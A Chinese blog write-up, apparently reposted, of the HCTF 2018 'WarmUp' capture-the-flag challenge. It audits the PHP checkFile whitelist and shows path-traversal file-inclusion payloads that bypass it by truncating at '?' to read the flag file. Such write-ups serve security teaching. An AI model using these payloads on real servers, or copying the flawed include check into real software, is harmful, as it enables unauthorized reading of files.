[HCTF2018]WarmUp

admin 2026-06-08 05:12:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析了HCTF2018WarmUpCTF题目中的文件包含漏洞。通过源码审计发现checkFile函数存在白名单绕过漏洞,利用多次URL解码和参数截取机制,最终通过构造payload成功包含并读取系统flag文件。 综合评分: 82 文章分类: CTF,WEB安全,漏洞分析,代码审计


看到里面分别有source.php和hint.php,我们这里访问一下hint.php看一下

整体结构大致是实现了一个带有“安全检查”的文件包含功能,只有当 file 参数经过 checkFile 校验通过后,才会 include 这个文件

<?phphighlight_file(__FILE__); &nbsp;&nbsp;// 输出当前文件自身的源码(高亮显示)class&nbsp;emmm&nbsp;{ ... } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 定义了一个类,包含静态方法 checkFile
if&nbsp;(!&nbsp;empty($_REQUEST['file']) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 接收 GET 或 POST 中的 file 参数&nbsp; &nbsp; &&&nbsp;is_string($_REQUEST['file']) &nbsp; &nbsp;&nbsp;// 必须是字符串&nbsp; &nbsp; && emmm::checkFile($_REQUEST['file'])&nbsp;// 通过白名单检查) {&nbsp; &nbsp;&nbsp;include&nbsp;$_REQUEST['file']; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 包含该文件&nbsp; &nbsp;&nbsp;exit;}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;echo&nbsp;"<br><img src=\"...\" />"; &nbsp; &nbsp;&nbsp;// 失败时显示一张图片}

checkFile该方法接收一个 &$page,先判断参数是否存在且为字符串,否则返回 false

public&nbsp;static&nbsp;function checkFile(&$page){&nbsp; &nbsp;&nbsp;$whitelist&nbsp;=&nbsp;["source"=>"source.php","hint"=>"hint.php"]; &nbsp;// 白名单数组

如果 $page 的值直接等于 “source.php” 或 “hint.php”,则通过。

if&nbsp;(in_array($page,&nbsp;$whitelist)) {&nbsp; &nbsp;&nbsp;return&nbsp;true;}

允许用户传入 source.php?任意内容,实际截取 ? 前部分 source.php 来匹配白名单。这样可以包含 source.php 并可能传递查询参数

$_page&nbsp;= mb_substr(&nbsp; &nbsp;&nbsp;$page,&nbsp; &nbsp; 0,&nbsp; &nbsp; mb_strpos($page&nbsp;.&nbsp;'?',&nbsp;'?'));

先对 $page 进行 URL 解码(urldecode),然后再次用相同方式截取第一个 ? 之前的部分,最后判断截取后的值是否在白名单中。

$_page&nbsp;= urldecode($page);$_page&nbsp;= mb_substr(&nbsp; &nbsp;&nbsp;$_page,&nbsp; &nbsp; 0,&nbsp; &nbsp; mb_strpos($_page&nbsp;.&nbsp;'?',&nbsp;'?'));if&nbsp;(in_array($_page,&nbsp;$whitelist)) {&nbsp; &nbsp;&nbsp;return&nbsp;true;}

通过上面我们所获取的信息,我们对于绕过并获取flag已经有思路了,通过file已经白名单进行绕过,所以就能构造payload了

?file=hint.php?../../../../../ffffllllaaaagggg
/?file=source.php?../../../../../ffffllllaaaagggg


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:熔城Sec devildollking devildollking《[HCTF 2018]WarmUp》

[HCTF2018]WarmUp 网络安全文章

[HCTF2018]WarmUp

文章总结: 该文档分析了HCTF2018WarmUpCTF题目中的文件包含漏洞。通过源码审计发现checkFile函数存在白名单绕过漏洞,利用多次URL解码和参
评论:0   参与:  0